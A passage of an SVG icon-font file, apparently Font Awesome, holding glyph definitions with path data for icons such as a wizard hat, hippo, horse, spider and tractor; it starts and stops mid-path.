s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM32 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM320 368
c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM112 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699z
M176 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM240 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301
c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM400 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM464 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301
s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM528 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699z" />
    <glyph glyph-name="hat-wizard" unicode="&#xf6e8;" 
d="M496 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480zM192 64l16 -32h-144l110.96 249.66c9.4043 21.1611 33.3545 47.6611 53.46 59.1494l187.58 107.19l-56.2998 -168.92
c-1.81543 -5.43945 -3.28809 -14.5078 -3.28809 -20.2412c0 -7.25098 2.31934 -18.5449 5.17773 -25.209l86.4102 -201.63h-208l16 32l64 32l-64 32l-32 64l-32 -64l-64 -32zM256 288l-32 -16l32 -16l16 -32l16 32l32 16l-32 16l-16 32z" />
    <glyph glyph-name="hiking" unicode="&#xf6ec;" horiz-adv-x="384" 
d="M80.9502 -24.2305l34.5596 138.221l52.7803 -52.7803l-25.2402 -100.97c-3.64941 -14.5303 -16.6895 -24.2305 -31.0195 -24.2305c-2.58008 0 -5.19043 0.290039 -7.7998 0.950195c-17.1406 4.28027 -27.5605 21.6504 -23.2803 38.8096zM95.8398 171.89
c-2.18945 -8.41992 -11.0801 -13.54 -19.8701 -11.4395l-63.5596 15.25c-8.78027 2.10938 -14.1104 10.6396 -11.9199 19.0596l25.2695 98.1299c10.9707 42.1006 55.4404 67.6904 99.3203 57.1699c8.78027 -2.10938 14.1104 -10.6396 11.9199 -19.0596zM368 288
c8.83984 0 16 -7.16016 15.9902 -16v-320.01c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v240h-48c-8.48047 0 -16.6201 3.37988 -22.6201 9.37988l-22.4297 22.4297l-19.8906 -79.5693
c-0.129883 -0.520508 -0.469727 -0.910156 -0.620117 -1.41016l46.8203 -46.8203c12.0898 -12.0898 18.75 -28.1602 18.75 -45.25v-82.75c0 -17.6699 -14.3301 -32 -32 -32s-32 14.3301 -32 32v82.75l-86.6201 86.6201c-5.17383 5.1748 -9.37402 15.3154 -9.37402 22.6338
c0 2.17285 0.427734 5.64746 0.954102 7.75586l26.9199 107.721c6.56055 26.2197 30.0098 44.5195 57.0303 44.5195c15.7002 0 30.4697 -6.11035 41.5596 -17.2197l46.7803 -46.7803h34.75v16c0 8.83984 7.16016 16 16 16h16zM240 352c-26.5098 0 -48 21.4902 -48 48
s21.4902 48 48 48s48 -21.4902 48 -48s-21.4902 -48 -48 -48z" />
    <glyph glyph-name="hippo" unicode="&#xf6ed;" horiz-adv-x="640" 
d="M581.12 351.8c34.0898 -0.189453 58.8799 -33.6895 58.8799 -67.7803v-92.0195c0 -17.6699 -14.3301 -32 -32 -32v-32c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v32h-128v-176c0 -8.83984 -7.16016 -16 -16 -16h-64
c-8.83984 0 -16 7.16016 -16 16v70.79c-32.3496 -14.3604 -70.7197 -22.79 -112 -22.79s-79.6504 8.42969 -112 22.79v-70.79c0 -8.83984 -7.16016 -16 -16 -16h-64c-8.83984 0 -16 7.16016 -16 16v240c0 88.3604 85.96 160 192 160
c49.2402 0 94.0098 -15.5801 128 -40.9805v48.9805c0 13.2598 10.75 24 24 24h16c13.25 0 24 -10.7402 24 -24v-13.8799c10.0498 3.58008 20.7197 5.87988 32 5.87988c39.8301 0 73.9805 -24.2695 88.5195 -58.8203c24.1006 9.04004 48.9307 26.7705 76.6006 26.6201z
M448 272c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16z" />
    <glyph glyph-name="horse" unicode="&#xf6f0;" horiz-adv-x="576" 
d="M575.92 371.4l0.0605469 -77.71v-0.0292969c0 -11.9609 -9.01465 -25.2715 -20.1201 -29.7109l-32.5508 -13.0205c-15.4395 -6.17969 -33.04 0.5 -40.4893 15.3701l-18.9004 37.7002l-16 7.11035v-102.471c0.00976562 -0.219727 0.0800781 -0.419922 0.0800781 -0.639648
c0 -30.4697 -12.2598 -58.0303 -32 -78.2197v-177.78c0 -8.83984 -7.16016 -16 -16 -16h-64c-8.83984 0 -16 7.16016 -16 16v150.4l-133.97 22.3301l-23.8398 -63.5908l26.3096 -105.26c2.53027 -10.0996 -5.11035 -19.8799 -15.5195 -19.8799h-65.9609h-0.000976562
c-6.89453 0 -13.8428 5.42969 -15.5088 12.1201l-24.8496 99.4102c-1.05664 4.2207 -1.91406 11.1777 -1.91406 15.5293c0 6.40332 1.8252 16.4648 4.07422 22.46l25.7197 68.6006c-18.7002 17.5195 -30.54 42.2402 -30.54 69.8799
c0 2.62988 0.570312 5.09961 0.780273 7.67969c-9.91016 -7.29004 -16.7803 -18.46 -16.7803 -31.6797v-56c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v56c0 48.5303 39.4697 88 88 88v-1.11035c17.5996 20.1299 43.1602 33.1104 72 33.1104
h159.92c0 70.6904 57.3105 128 128 128h119.98c5.05957 0 8.94922 -4.67969 7.92969 -9.63965c-2.67969 -13.1699 -11.1201 -23.8203 -22.1797 -30.6602c5.10938 -5.37988 9.90918 -10.4697 13.6895 -14.5c5.56055 -5.93066 8.57031 -13.6699 8.58008 -21.7998zM511.92 352
c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16z" />
    <glyph glyph-name="house-damage" unicode="&#xf6f1;" horiz-adv-x="576" 
d="M288 333.04l218.74 -192.94c1.54004 -1.37988 3.55957 -2.04004 5.25977 -3.19922v-184.9c0 -8.83984 -7.16016 -16 -16 -16h-176.19l-39.9199 55.25l104.11 64l-148.05 136.78l60.1602 -119.221l-104.11 -64l37.2305 -72.8096h-149.23c-8.83984 0 -16 7.16016 -16 16
v184.94c1.78027 1.20996 3.84961 1.88965 5.46973 3.34961zM570.69 211.72c6.5791 -5.89941 7.11914 -16.0195 1.21973 -22.5898l-21.4004 -23.8203c-5.91016 -6.56934 -16.0293 -7.10938 -22.5996 -1.20996l-229.32 202.271c-6.0498 5.33008 -15.1201 5.33008 -21.1699 0
l-229.32 -202.28c-6.58008 -5.91016 -16.6992 -5.35938 -22.5996 1.20996l-21.4004 23.8203c-5.90918 6.58008 -5.35938 16.6895 1.20996 22.5996l255.99 226.011c7.60059 6.85938 17.1406 10.2793 26.7002 10.2695s19.1201 -3.4502 26.75 -10.3096l101.25 -89.3809v51.6904
c0 8.83984 7.16016 16 16 16h64c8.83984 0 16 -7.16016 16 -16v-136.45z" />
    <glyph glyph-name="hryvnia" unicode="&#xf6f2;" horiz-adv-x="384" 
d="M368 208h-99.7002l-34.6699 -32h134.37c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-203.7l-29.4902 -27.2197c-4.3291 -4 -6.80957 -9.66992 -6.80957 -15.5801c0 -11.6807 9.50977 -21.2002 21.2002 -21.2002h83.6299h0.00195312
c4.79395 0 11.6748 2.49121 15.3584 5.55957l11.75 9.80078c10.1895 8.48926 25.3193 7.12012 33.8096 -3.07031l20.4902 -24.5898c8.49023 -10.1807 7.10938 -25.3105 -3.07031 -33.7998l-11.7695 -9.81055c-18.6807 -15.5596 -42.2207 -24.0898 -66.54 -24.0898h-78.8203
c-37.1396 0 -73.3799 17.8496 -92.0498 49.9502c-17.8701 30.7197 -17.54 65.4199 -4.12988 94.0498h-41.8604c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h99.7002l34.6699 32h-134.37c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16
h203.7l29.4902 27.21c4.3291 4 6.80957 9.66992 6.80957 15.5801c0 11.6797 -9.50977 21.2002 -21.2002 21.2002h-83.6201c-5.62012 0 -11.0693 -1.9707 -15.3896 -5.57031l-11.7305 -9.78027c-10.1895 -8.48926 -25.3193 -7.12012 -33.8096 3.07031l-20.4902 24.5898
c-8.49023 10.1807 -7.10938 25.3105 3.07031 33.7998l11.7695 9.81055c18.6807 15.5596 42.2207 24.0898 66.54 24.0898h78.8203c37.1396 0 73.3799 -17.8398 92.0498 -49.9502c17.8701 -30.7197 17.54 -65.4199 4.12988 -94.0498h41.8604c8.83984 0 16 -7.16016 16 -16v-32
c0 -8.83984 -7.16016 -16 -16 -16z" />
    <glyph glyph-name="mask" unicode="&#xf6fa;" horiz-adv-x="640" 
d="M320.67 384c449.09 0 348.32 -384 158.46 -384c-39.8994 0 -77.4697 20.6904 -101.41 55.8604l-25.7295 37.79c-15.6602 22.9893 -46.9707 22.9893 -62.6299 0l-25.7305 -37.79c-23.9502 -35.1699 -61.5195 -55.8604 -101.42 -55.8604c-199.11 0 -284.14 384 158.46 384z
M184 139.64c41.0596 0 67.7598 25.6504 80.0801 41.0508c5.22949 6.54004 5.22949 16.0996 0 22.6299c-12.3203 15.3896 -39.0098 41.0498 -80.0801 41.0498s-67.7598 -25.6504 -80.0801 -41.0498c-5.22949 -6.54004 -5.22949 -16.1006 0 -22.6299
c12.3203 -15.3906 39.0205 -41.0508 80.0801 -41.0508zM456 139.64c41.0596 0 67.7598 25.6504 80.0801 41.0508c5.22949 6.54004 5.22949 16.0996 0 22.6299c-12.3203 15.3896 -39.0098 41.0498 -80.0801 41.0498s-67.7598 -25.6504 -80.0801 -41.0498
c-5.22949 -6.54004 -5.22949 -16.1006 0 -22.6299c12.3203 -15.3906 39.0205 -41.0508 80.0801 -41.0508z" />
    <glyph glyph-name="mountain" unicode="&#xf6fc;" horiz-adv-x="640" 
d="M634.92 -14.7002c2.80566 -4.3623 5.08301 -12.1133 5.08301 -17.3008c0 -4.50586 -1.75293 -11.374 -3.91309 -15.3291c-5.60938 -10.2803 -16.3799 -16.6699 -28.0898 -16.6699h-576h-0.00390625c-10.4795 0 -23.0615 7.46387 -28.0859 16.6602
c-2.16016 3.95605 -3.91309 10.8262 -3.91309 15.334c0 5.18848 2.27734 12.9414 5.08301 17.3057l288 448c5.88965 9.16016 16.0303 14.7002 26.9199 14.7002s21.0303 -5.54004 26.9199 -14.7002zM320 356.82l-102.06 -158.761l38.0596 -38.0596l64 64h85.3896z" />
    <glyph glyph-name="network-wired" unicode="&#xf6ff;" horiz-adv-x="640" 
d="M640 184c0 -8.83984 -7.16016 -16 -16 -16h-104v-40h56c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-160c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h56v40h-304v-40h56c17.6699 0 32 -14.3301 32 -32v-128
c0 -17.6699 -14.3301 -32 -32 -32h-160c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h56v40h-104c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h280v40h-72c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h192
c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-72v-40h280c8.83984 0 16 -7.16016 16 -16v-16zM256 320h128v64h-128v-64zM192 0v64h-96v-64h96zM544 0v64h-96v-64h96z" />
    <glyph glyph-name="otter" unicode="&#xf700;" horiz-adv-x="640" 
d="M608 416c17.6699 0 32 -14.3301 32 -32v-32c0 -53.0195 -42.9805 -96 -96 -96h-22.8604l-92.4697 -49.79l55.1104 -110.21h28.2197c17.6699 0 32 -14.3301 32 -32v-16c0 -8.83984 -7.16016 -16 -16 -16h-80l-74.5098 144.5l-149.49 -80.5h64
c17.6699 0 32 -14.3301 32 -32v-16c0 -8.83984 -7.16016 -16 -16 -16h-224c-8.83008 0 -16 -7.16992 -16 -16s7.16992 -16 16 -16h112c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32h-108.47c-39.3799 0 -75.5205 26.9004 -82.2803 65.7002
c-4.91016 28.1201 5 54.2197 23.1904 71.7998c23.5596 22.75 39.5596 52.1396 39.5596 84.8896v1.61035c0 106.04 85.96 192 192 192h56l153.25 87.5703c9.66992 5.51953 20.6104 8.42969 31.75 8.42969h20.4902h0.0126953c14.6328 0 34.9033 -8.40039 45.2471 -18.75
l13.25 -13.25h32zM512 400c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16s16 7.16016 16 16s-7.16016 16 -16 16zM544 304c20.8301 0 38.4297 13.4199 45.0498 32h-77.0498l-118.57 -59.29l13.7705 -27.5498l101.84 54.8398h34.96z" />
    <glyph glyph-name="ring" unicode="&#xf70b;" 
d="M256 384c145.94 0 256 -61.9102 256 -144v-98.1299c0 -78.3506 -114.62 -141.87 -256 -141.87s-256 63.5195 -256 141.87v98.1299c0 82.0898 110.06 144 256 144zM256 320c-106.04 0 -192 -35.8203 -192 -80c0 -9.25977 3.96973 -18.1201 10.9102 -26.3896
c44.9395 26.1797 108.859 42.3896 181.09 42.3896s136.15 -16.21 181.09 -42.3896c6.94043 8.26953 10.9102 17.1299 10.9102 26.3896c0 44.1797 -85.96 80 -192 80zM120.43 183.36c34.7305 -14.4307 82.6406 -23.3604 135.57 -23.3604s100.84 8.92969 135.57 23.3604
c-34.6104 14.71 -81.21 24.6396 -135.57 24.6396s-100.96 -9.92969 -135.57 -24.6396z" />
    <glyph glyph-name="running" unicode="&#xf70c;" horiz-adv-x="416" 
d="M272 352c-26.5098 0 -48 21.4902 -48 48s21.4902 48 48 48s48 -21.4902 48 -48s-21.4902 -48 -48 -48zM113.69 130.53c7.92969 -17.2402 20.6699 -32.3799 37.9893 -42.6104l10.6699 -6.2998l-8.79004 -20.5205c-7.5293 -17.6494 -24.8594 -29.0898 -44.1094 -29.0898
h-77.4502c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32h66.8896zM384 224.01c17.6699 0 32 -14.3193 32 -31.9902c0 -17.6699 -14.3301 -32 -32 -32h-53.9902c-18.1895 0 -35.1094 10.5508 -43.1094 26.8906l-20.2705 41.4297l-31.3096 -78.2803l61.2393 -36.1396
c18.75 -11.3096 27.5508 -33.6201 21.6406 -54.3896l-31.6406 -101.061c-4.29004 -13.6797 -16.9092 -22.4502 -30.5195 -22.4502c-3.16992 0 -6.38965 0.480469 -9.58008 1.48047c-16.8604 5.28027 -26.25 23.2305 -20.9697 40.0898l27.4697 87.7305l-84.9795 50.1699
c-27.6104 16.2998 -38.9209 50.8301 -26.3008 80.3096l37.46 87.3906l-14.6992 4.36914c-7.83008 1.86035 -17.6006 -0.25 -25.2705 -6.13965l-39.6895 -30.4102c-14.0205 -10.7402 -34.0908 -8.10938 -44.8604 5.91992c-10.7705 14.0303 -8.11035 34.1104 5.91992 44.8604
l39.6699 30.4102c23.0703 17.6895 52.54 23.9395 80.8398 17.1396l71.0801 -21.1396c26.3301 -6.70996 49.2803 -25.3906 61.7803 -50.9404l26.0596 -53.25h44.0303z" />
    <glyph glyph-name="scroll" unicode="&#xf70e;" horiz-adv-x="640" 
d="M48 448c26.4697 0 48 -21.5303 48 -48v-80h-80c-8.83984 0 -16 7.16016 -16 16v64c0 26.4697 21.5303 48 48 48zM256 35.4297c0 -31.8896 -21.7803 -61.4297 -53.25 -66.5498c-40.0996 -6.53027 -74.75 24.25 -74.75 63.1201v368c0 18.0801 -6.25977 34.5898 -16.4102 48
h336.41c52.9404 0 96 -43.0596 96 -96v-256h-288v-60.5703zM288 64h336c8.83984 0 16 -7.16016 16 -16c0 -61.8604 -50.1396 -112 -112 -112h-336c52.9404 0 96 43.0703 96 96v32z" />
    <glyph glyph-name="skull-crossbones" unicode="&#xf714;" horiz-adv-x="448" 
d="M439.15 -5.05957c7.89941 -3.9502 11.1094 -13.5605 7.15918 -21.4707l-14.3096 -28.6299c-3.95996 -7.89941 -13.5703 -11.0996 -21.4697 -7.14941l-186.53 90.7197l-186.52 -90.7197c-7.91016 -3.95996 -17.5205 -0.75 -21.4707 7.14941l-14.3096 28.6299
c-3.95996 7.91016 -0.75 17.5205 7.14941 21.4707l141.98 69.0596l-141.99 69.0596c-7.89941 3.9502 -11.0996 13.5605 -7.14941 21.46l14.3096 28.6309c3.95996 7.90918 13.5703 11.1094 21.4697 7.15918l186.53 -90.7197l186.53 90.7197
c7.91016 3.9502 17.5195 0.740234 21.4697 -7.15918l14.3096 -28.6309c3.95996 -7.89941 0.75 -17.5098 -7.14941 -21.46l-141.99 -69.0596zM150 210.72c-41.7803 22.4102 -70 62.75 -70 109.28c0 70.6904 64.4697 128 144 128s144 -57.3096 144 -128
c0 -46.5303 -28.2197 -86.8701 -70 -109.28l5.5 -25.8701c2.66992 -12.6191 -5.41992 -24.8496 -16.4502 -24.8496h-126.08c-11.0293 0 -19.1201 12.2305 -16.4502 24.8496zM280 336c-17.6504 0 -32 -14.3496 -32 -32s14.3496 -32 32 -32s32 14.3496 32 32
s-14.3496 32 -32 32zM168 336c-17.6504 0 -32 -14.3496 -32 -32s14.3496 -32 32 -32s32 14.3496 32 32s-14.3496 32 -32 32z" />
    <glyph glyph-name="slash" unicode="&#xf715;" horiz-adv-x="640" 
d="M594.53 -60.6299l-588.351 454.729c-6.96973 5.41992 -8.22949 15.4707 -2.80957 22.4502l19.6396 25.2705c5.41992 6.97949 15.4805 8.23926 22.46 2.80957l588.351 -454.729c6.96973 -5.41992 8.22949 -15.4707 2.80957 -22.4502l-19.6396 -25.2705
c-5.41992 -6.97949 -15.4805 -8.22949 -22.46 -2.80957z" />
    <glyph glyph-name="spider" unicode="&#xf717;" horiz-adv-x="576" 
d="M151.17 280.65l-27.1504 54.2998c-1.86035 3.72949 -3.37109 10.1387 -3.37109 14.3066c0 2.86719 0.735352 7.40234 1.6416 10.123l25.8896 77.6797c2.79004 8.39062 11.8604 12.9209 20.2402 10.1201l15.1699 -5.05957
c8.39062 -2.7998 12.9102 -11.8604 10.1201 -20.2402l-23.7998 -71.3896l20.29 -40.5801c-1.41016 -4.20996 -2.49023 -8.20996 -3.20996 -11.79l-5.2207 -26.1201h-4.66992zM573.31 98.6201c4.90039 -7.35059 2.9209 -17.2803 -4.43945 -22.1797l-13.3105 -8.88086
c-7.34961 -4.89941 -17.29 -2.90918 -22.1895 4.44043l-48 72h-47.0605l60.8301 -97.3301c3.16992 -5.08008 4.86035 -10.96 4.86035 -16.96v-77.71c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v73.1104l-74.0801 118.529
c1 -14.0498 2.08008 -28.1094 2.08008 -42.21c0 -53.0693 -40.7598 -101.43 -96 -101.43s-96 48.3604 -96 101.43c0 14.1006 1.07031 28.1602 2.08008 42.21l-74.0801 -118.529v-73.1104c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v77.7002
v0.00976562c0 5.0625 2.17773 12.6562 4.86035 16.9502l60.8301 97.3301h-47.0605l-48 -72c-4.89941 -7.35059 -14.8398 -9.33984 -22.1895 -4.44043l-13.3105 8.87988c-7.36035 4.90039 -9.33984 14.8398 -4.43945 22.1904l52.7393 79.1299
c5.24707 7.86426 17.1768 14.248 26.6299 14.25h77.9404l-68.9902 24.3496c-5.75 1.91895 -13.1465 7.56738 -16.5098 12.6104l-53.5996 80.4102c-4.90039 7.36035 -2.91016 17.29 4.43945 22.1895l13.3105 8.88086c7.35938 4.89941 17.29 2.90918 22.1895 -4.44043
l50.5703 -75.8301l60.4902 -20.1699h36.0996l10.3701 51.8496c2.18945 10.9707 17.3701 60.1504 69.6299 60.1504s67.4404 -49.1797 69.6299 -60.1504l10.3701 -51.8496h36.0996l60.5 20.1699l50.5605 75.8301c4.89941 7.34961 14.8398 9.33984 22.1895 4.44043
l13.3105 -8.88086c7.34961 -4.89941 9.33984 -14.8398 4.43945 -22.1895l-53.5996 -80.4102c-3.36328 -5.04297 -10.7598 -10.6914 -16.5098 -12.6104l-68.9902 -24.3594h77.9404c9.45117 -0.00195312 21.377 -6.38672 26.6191 -14.25zM406.09 350.49l-23.7998 71.3896
c-2.79004 8.37988 1.74023 17.4404 10.1201 20.2402l15.1699 5.05957c8.37988 2.80078 17.4502 -1.73926 20.2402 -10.1201l25.8896 -77.6797c0.908203 -2.72168 1.64551 -7.25781 1.64551 -10.127c0 -4.16699 -1.5127 -10.5752 -3.375 -14.3027l-27.1504 -54.2998
l-25.9297 -8.65039h-4.66992l-5.2207 26.1201c-0.719727 3.58008 -1.7998 7.58008 -3.20996 11.79z" />
    <glyph glyph-name="toilet-paper" unicode="&#xf71e;" horiz-adv-x="576" 
d="M128 448h284.44c-36.7705 -38.4805 -60.4404 -108.4 -60.4404 -192v-172.07c0 -53.6494 -11.8799 -87.5693 -24.71 -126.05c-4.36035 -13.0703 -16.5898 -21.8799 -30.3604 -21.8799h-280.92c-10.9199 0 -18.6299 10.7002 -15.1797 21.0596
c21.3701 64.1006 31.1699 85.75 31.1699 126.87v172.07c0 106.04 42.9805 192 96 192zM96 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM160 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16
s7.16016 -16 16 -16zM224 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM288 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM480 448c53.0195 0 96 -85.96 96 -192
s-42.9805 -192 -96 -192s-96 85.96 -96 192s42.9805 192 96 192zM480 192c17.6699 0 32 28.6504 32 64s-14.3301 64 -32 64s-32 -28.6504 -32 -64s14.3301 -64 32 -64z" />
    <glyph glyph-name="tractor" unicode="&#xf722;" horiz-adv-x="640" 
d="M528 112c48.5996 0 88 -39.4004 88 -88s-39.4004 -88 -88 -88s-88 39.4004 -88 88s39.4004 88 88 88zM528 0c13.2305 0 24 10.7695 24 24s-10.7695 24 -24 24s-24 -10.7695 -24 -24s10.7695 -24 24 -24zM608 288c17.6699 0 32 -14.3301 31.9902 -32v-50.7598
c0 -8.49023 -3.37012 -16.6299 -9.37012 -22.6299l-50.8203 -50.8203c-15.7295 7.58984 -33.1602 12.2002 -51.7998 12.2002c-39.1396 0 -73.5498 -19.0098 -95.46 -48h-80.54v-6c0 -12.1504 -9.84961 -22 -22 -22h-7.16016
c-2.9502 -9.90039 -6.91992 -19.46 -11.9102 -28.7207l5.06055 -5.05957c8.58984 -8.58984 8.58984 -22.5195 0 -31.1104l-31.1104 -31.1094c-8.58984 -8.58984 -22.5195 -8.58984 -31.1104 0l-5.05957 5.05957c-9.25977 -4.99023 -18.8203 -8.95996 -28.7197 -11.9102
v-7.13965c0 -12.1504 -9.85059 -22 -22 -22h-44c-12.1504 0 -22 9.84961 -22 22v7.15039c-9.90039 2.94922 -19.46 6.91992 -28.7207 11.9092l-5.05957 -5.05957c-8.58984 -8.58984 -22.5195 -8.58984 -31.1104 0l-31.1094 31.1104
c-8.58984 8.58984 -8.58984 22.5195 0 31.1094l5.05957 5.06055c-4.99023 9.26953 -8.9502 18.8193 -11.9102 28.7295h-7.13965c-12.1504 0 -22 9.85059 -22 22v44c0 12.1504 9.84961 22 22 22h7.15039c2.94922 9.90039 6.91992 19.46 11.9092 28.7207l-5.05957 5.05957
c-8.58984 8.58984 -8.58984 22.5195 0 31.1104l31.1104 31.1094c7.92969 7.93066 20.2598 8.2002 28.8896 1.4707v146.52c0 26.4697 21.5303 48 48 48h133.45h0.046875c17.4834 0 37.2324 -13.0547 44.083 -29.1396l56.0898 -130.86h102.33v40.2002
c0 29.9902 10.5801 58.8994 29.5 81.7197c6.37988 7.7002 18.04 8.23047 24.7002 0.780273l21.6299 -24.1699c4.87012 -5.43066 5.74023 -13.6904 1.32031 -19.4902c-8.4502 -11.0801 -13.1504 -24.7197 -13.1504 -38.8398v-40.2002h64zM176 32c44.1797 0 80 35.8203 80 80
s-35.8203 80 -80 80s-80 -35.8203 -80 -80s35.8203 -80 80 -80zM198 288h110.04l-41.1504 96h-106.89v-96h38z" />
    <glyph glyph-name="user-injured" unicode="&#xf728;" horiz-adv-x="448" 
d="M277.37 436.02l-90.6904 -68.0195h-81.1895c19.0098 46.8701 64.8193 80 118.51 80c19.1104 0 37.0801 -4.46973 53.3701 -11.9805zM342.51 368h-102.52l66.0293 49.5195c15.8203 -13.3193 28.5908 -30.0498 36.4902 -49.5195zM224 192c-70.6904 0 -128 57.3096 -128 128
c0 5.48047 0.94043 10.7002 1.61035 16h252.779c0.660156 -5.2998 1.61035 -10.5195 1.61035 -16c0 -70.6904 -57.3096 -128 -128 -128zM80 148.3c7.92676 3.51758 21.2812 7.64844 29.8096 9.21973l98.4502 -221.52h-128.26v212.3zM0 -16v41.5996
c0 41.1406 18.8799 77.5107 48 102.16v-191.76c-26.5098 0 -48 21.4902 -48 48zM256 32c26.4697 0 48 -21.5303 48 -48s-21.5303 -48 -48 -48h-12.71l-42.6699 96h55.3799zM313.6 160c74.2305 0 134.4 -60.1699 134.4 -134.4v-41.5996c0 -26.5098 -21.4902 -48 -48 -48
h-80.4102c10.1504 13.4102 16.4102 29.9199 16.4102 48c0 44.1104 -35.8896 80 -80 80h-69.5898l-42.6699 96h7.37012c22.2393 -10.1797 46.8799 -16 72.8896 -16s50.6504 5.82031 72.8896 16h16.71z" />
    <glyph glyph-name="vr-cardboard" unicode="&#xf729;" horiz-adv-x="640" 
d="M608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-160.22c-25.1807 0 -48.0303 14.7695 -58.3604 37.7402l-27.7402 61.6396c-7.88965 17.54 -24.0293 28.6201 -41.6797 28.6201s-33.79 -11.0801 -41.6797 -28.6201l-27.7402 -61.6396
c-10.3301 -22.9707 -33.1699 -37.7402 -58.3604 -37.7402h-160.22c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM160 144c35.3496 0 64 28.6504 64 64s-28.6504 64 -64 64s-64 -28.6504 -64 -64s28.6504 -64 64 -64zM480 144
c35.3496 0 64 28.6504 64 64s-28.6504 64 -64 64s-64 -28.6504 -64 -64s28.6504 -64 64 -64z" />
    <glyph glyph-name="wind" unicode="&#xf72e;" 
d="M156.7 192c48.7002 0 92.2998 -35 98.3994 -83.4004c7.5 -58.5 -38.0996 -108.6 -95.1992 -108.6c-46.6006 0 -85.6006 33.5 -94.2002 77.5996c-1.7998 9.60059 6.09961 18.4004 15.8994 18.4004h32.8008c6.59961 0 13.0996 -3.7998 15.1992 -10.0996
c4.30078 -12.7002 16.3008 -21.9004 30.4004 -21.9004c19.5 0 34.9004 17.4004 31.5996 37.4004c-2.59961 15.6992 -17.5 26.5996 -33.3994 26.5996h-142.2c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h140.7zM16 224c-8.7998 0 -16 7.2002 -16 16v32
c0 8.7998 7.2002 16 16 16h334.2c16 0 30.7998 10.9004 33.3994 26.5996c3.30078 20 -12.1992 37.4004 -31.5996 37.4004c-14.0996 0 -26.0996 -9.2002 -30.4004 -21.9004c-2.09961 -6.2998 -8.5 -10.0996 -15.1992 -10.0996h-32.8008
c-9.69922 0 -17.6992 8.7002 -15.7998 18.2998c9.7998 50.6006 59.5 87.1006 114.9 75.5c36.2002 -7.59961 65.5 -36.8994 73.0996 -73.0996c13 -61.9004 -34.0996 -116.7 -93.7998 -116.7h-336zM400 192c70.5 0 126 -65.5 108.9 -138.7
c-9.60059 -41.0996 -43.5 -74 -84.7002 -82.7002c-58.9004 -12.5 -111.601 21.7002 -129.4 72.3008c-3.7002 10.2998 4.40039 21.0996 15.2998 21.0996h33.8008c5.7998 0 11.5996 -2.59961 14.5 -7.59961c8.2998 -14.5 23.6992 -24.4004 41.5996 -24.4004
c26.5 0 48 21.5 48 48s-21.5 48 -48 48h-116.5c-6.59961 25.2002 -20.5 47.4004 -39.7998 64h156.3z" />
    <glyph glyph-name="wine-bottle" unicode="&#xf72f;" 
d="M507.31 375.43c6.25 -6.25 6.25 -16.3799 0.0107422 -22.6201l-22.6299 -22.6299c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-76.6699 -76.6699c19.7002 -46.5801 10.7305 -102.41 -27.2295 -140.37l-158.391 -158.39c-24.9893 -24.9902 -65.5195 -24.9902 -90.5098 0
